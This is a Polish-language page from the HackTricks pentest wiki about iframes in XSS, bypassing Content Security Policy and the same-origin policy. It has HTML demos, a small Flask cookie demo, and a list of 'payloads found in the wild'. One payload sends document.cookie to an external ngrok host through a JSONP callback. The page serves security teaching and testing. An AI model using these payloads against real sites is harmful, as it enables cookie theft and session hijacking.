Iframes in XSS, CSP and SOP

Wsparcie HackTricks

Iframes w XSS

Istnieją 3 sposoby na wskazanie zawartości strony w iframe:

  • Poprzez src wskazujący URL (URL może być cross origin lub same origin)

  • Poprzez src wskazujący zawartość za pomocą protokołu data:

  • Poprzez srcdoc wskazujący zawartość

Dostęp do zmiennych rodzica i dziecka

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Jeśli uzyskasz dostęp do poprzedniego html za pośrednictwem serwera http (takiego jak python3 -m http.server), zauważysz, że wszystkie skrypty będą wykonywane (ponieważ nie ma CSP, które by to uniemożliwiało). Rodzic nie będzie mógł uzyskać dostępu do zmiennej secret wewnątrz żadnego iframe i tylko iframes if2 i if3 (które są uważane za tej samej witryny) mogą uzyskać dostęp do sekretnych w oryginalnym oknie. Zauważ, że if4 jest uważany za mający null origin.

Iframes z CSP

Proszę zauważyć, że w poniższych obejściach odpowiedź na stronę w iframe nie zawiera żadnego nagłówka CSP, który uniemożliwia wykonanie JS.

Wartość self w script-src nie pozwoli na wykonanie kodu JS przy użyciu protokołu data: lub atrybutu srcdoc. Jednak nawet wartość none CSP pozwoli na wykonanie iframe, które umieszczają adres URL (pełny lub tylko ścieżkę) w atrybucie src. Dlatego możliwe jest obejście CSP strony za pomocą:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Zauważ, że poprzedni CSP zezwala tylko na wykonanie skryptu inline. Jednak tylko skrypty if1 i if2 będą wykonywane, ale tylko if1 będzie mogło uzyskać dostęp do tajemnicy rodzica.

Dlatego możliwe jest obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go za pomocą iframe, nawet przy script-src 'none'. To można potencjalnie również zrobić, nadużywając punktu końcowego JSONP w tej samej witrynie.

Możesz to przetestować w następującym scenariuszu, w którym ciasteczko jest kradzione, nawet przy script-src 'none'. Po prostu uruchom aplikację i uzyskaj do niej dostęp za pomocą przeglądarki:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Inne ładunki znalezione w dziczy

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Zawartość w iframe może być poddana dodatkowym ograniczeniom za pomocą atrybutu sandbox. Domyślnie ten atrybut nie jest stosowany, co oznacza, że nie ma żadnych ograniczeń.

Gdy jest używany, atrybut sandbox nakłada kilka ograniczeń:

  • Zawartość jest traktowana tak, jakby pochodziła z unikalnego źródła.

  • Każda próba przesłania formularzy jest blokowana.

  • Wykonanie skryptów jest zabronione.

  • Dostęp do niektórych interfejsów API jest wyłączony.

  • Zapobiega interakcji linków z innymi kontekstami przeglądania.

  • Użycie wtyczek za pomocą <embed>, <object>, <applet> lub podobnych tagów jest zabronione.

  • Nawigacja w górnym kontekście przeglądania przez samą zawartość jest zablokowana.

  • Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne ustawianie fokusu na kontrolkach formularzy, są blokowane.

Wartość atrybutu może być pozostawiona pusta (sandbox=""), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę specyficznych wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes w SOP

Sprawdź następujące strony:

Bypassing SOP with Iframes - 1Bypassing SOP with Iframes - 2Blocking main page to steal postmessageSteal postmessage modifying iframe location
Wsparcie dla HackTricks

Last updated